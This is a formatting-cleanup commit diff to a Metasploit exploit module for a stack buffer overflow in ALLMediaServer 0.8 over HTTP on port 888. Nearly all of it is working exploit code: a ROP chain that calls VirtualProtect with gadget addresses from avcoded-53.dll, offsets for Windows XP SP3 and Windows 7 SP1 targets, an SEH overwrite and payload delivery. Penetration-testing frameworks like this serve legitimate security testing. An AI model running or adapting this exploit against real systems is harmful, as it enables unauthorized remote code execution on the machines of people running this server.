Nicer cleanup

modules/exploits/windows/misc/allmediaserver_bof.rb

@@ -15,58 +15,57 @@ class Metasploit3 < Msf::Exploit::Remote
 
 	def initialize(info = {})
 		super(update_info(info,
-			'Name'		=> 'ALLMediaServer 0.8 Buffer Overflow',
-			'Description'	=> %q{
+			'Name'           => 'ALLMediaServer 0.8 Buffer Overflow',
+			'Description'    => %q{
 				This module exploits a stack buffer overflow in ALLMediaServer 0.8.
 				The vulnerability is caused due to a boundary error within the
 				handling of HTTP request.
 			},
-			'License'	=> MSF_LICENSE,
-			'Author'	=>
+			'License'        => MSF_LICENSE,
+			'Author'         =>
 				[
 					'motaz reda <motazkhodair[at]gmail.com>',	# Original discovery
 					'modpr0be <tom[at]spentera.com>',	# Metasploit module
 					'juan vazquez' # More improvement
 				],
-			'References'	=>
+			'References'     =>
 				[
-					[ 'EDB', '19625' ],
+					[ 'EDB', '19625' ]
 				],
 			'DefaultOptions' =>
 				{
 					'ExitFunction' => 'process', #none/process/thread/seh
 				},
-			'Platform'	=> 'win',
-			'Payload'   =>
+			'Platform'       => 'win',
+			'Payload'        =>
 				{
 					'BadChars' => "",
 					'Space' => 660,
-					'DisableNops' => true,
-					#'PrependEncoder' => "\x81\xC4\x54\xF2\xFF\xFF" # add esp, -3500
+					'DisableNops' => true
 				},
 
-			'Targets'		=>
+			'Targets'        =>
 				[
 					[ 'ALLMediaServer 0.8 / Windows XP SP3 - English',
 						{
-							'Ret'   	=>	0x65ec74dc, # ADD ESP,6CC # POP # POP # POP # RET - avcoded-53.dll
+							'Ret'       =>	0x65ec74dc, # ADD ESP,6CC # POP # POP # POP # RET - avcoded-53.dll
 							'OffsetRop' =>	696,
-							'jmp'		=>	264,
-							'Offset'	=>	1072
+							'jmp'       =>	264,
+							'Offset'    =>	1072
 						}
 					],
 					[ 'ALLMediaServer 0.8 / Windows 7 SP1 - English',
 						{
-							'Ret'   	=>	0x65ec74dc, # ADD ESP,6CC # POP # POP # POP # RET - avcoded-53.dll
+							'Ret'       =>	0x65ec74dc, # ADD ESP,6CC # POP # POP # POP # RET - avcoded-53.dll
 							'OffsetRop' =>	332,
-							'jmp'		=>	628,
-							'Offset'	=>	1072
+							'jmp'       =>	628,
+							'Offset'    =>	1072
 						}
 					],
 				],
-			'Privileged'	=> false,
-			'DisclosureDate'	=> 'Jul 04 2012',
-			'DefaultTarget'	=> 1))
+			'Privileged'     => false,
+			'DisclosureDate' => 'Jul 04 2012',
+			'DefaultTarget'  => 1))
 
 		register_options([Opt::RPORT(888)], self.class)
 
@@ -80,35 +79,39 @@ class Metasploit3 < Msf::Exploit::Remote
 		return rop ? [0x665a0aa1] * n : [0x90909090] * n
 	end
 
+	def asm(code)
+		Metasm::Shellcode.assemble(Metasm::Ia32.new, code).encode_string
+	end
+
 	def exploit
 		#with help from mona :)
 		rop = [
 			nops(true, 12),  #ROP NOP
-			0x65f6faa7,	# POP EAX # RETN
-			0x671ee4e0,	# ptr to &VirtualProtect()
-			0x6ac1ccb4,	# MOV EAX,DWORD PTR DS:[EAX] # RETN
-			0x667ceedf,	# PUSH EAX # POP ESI # POP EDI # RETN
+			0x65f6faa7,      # POP EAX # RETN
+			0x671ee4e0,      # ptr to &VirtualProtect()
+			0x6ac1ccb4,      # MOV EAX,DWORD PTR DS:[EAX] # RETN
+			0x667ceedf,      # PUSH EAX # POP ESI # POP EDI # RETN
 			junk,
-			0x65f5f09d,	# POP EBP # RETN
-			0x65f9830d,	# & call esp
-			0x6ac1c1d5,	# POP EBX # RETN
-			0x00000600,	# 0x00000320-> ebx
-			0x6672a1e2,	# POP EDX # RETN
-			0x00000040,	# 0x00000040-> edx
-			0x665a09df,	# POP ECX # RETN
-			0x6ad58a3d,	# &Writable location
-			0x6ac7a771,	# POP EDI # RETN
-			nops(true),	# RETN (ROP NOP)
-			0x6682f9f4,	# POP EAX # RETN
-			nops,	# nop
-			0x663dcbd2,	# PUSHAD # RETN
+			0x65f5f09d,      # POP EBP # RETN
+			0x65f9830d,      # & call esp
+			0x6ac1c1d5,      # POP EBX # RETN
+			0x00000600,      # 0x00000320-> ebx
+			0x6672a1e2,      # POP EDX # RETN
+			0x00000040,      # 0x00000040-> edx
+			0x665a09df,      # POP ECX # RETN
+			0x6ad58a3d,      # &Writable location
+			0x6ac7a771,      # POP EDI # RETN
+			nops(true),      # RETN (ROP NOP)
+			0x6682f9f4,      # POP EAX # RETN
+			nops,            # nop
+			0x663dcbd2       # PUSHAD # RETN
 		].flatten.pack("V*")
 
 		connect
 
 		buffer = rand_text(target['OffsetRop'])	#junk
 		buffer << rop
-		buffer << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $+0x#{target['jmp'].to_s(16)}").encode_string # jmp to payload
+		buffer << asm("jmp $+0x#{target['jmp'].to_s(16)}") # jmp to payload
 		buffer << rand_text(target['Offset'] - buffer.length)
 		buffer << generate_seh_record(target.ret)
 		buffer << payload.encoded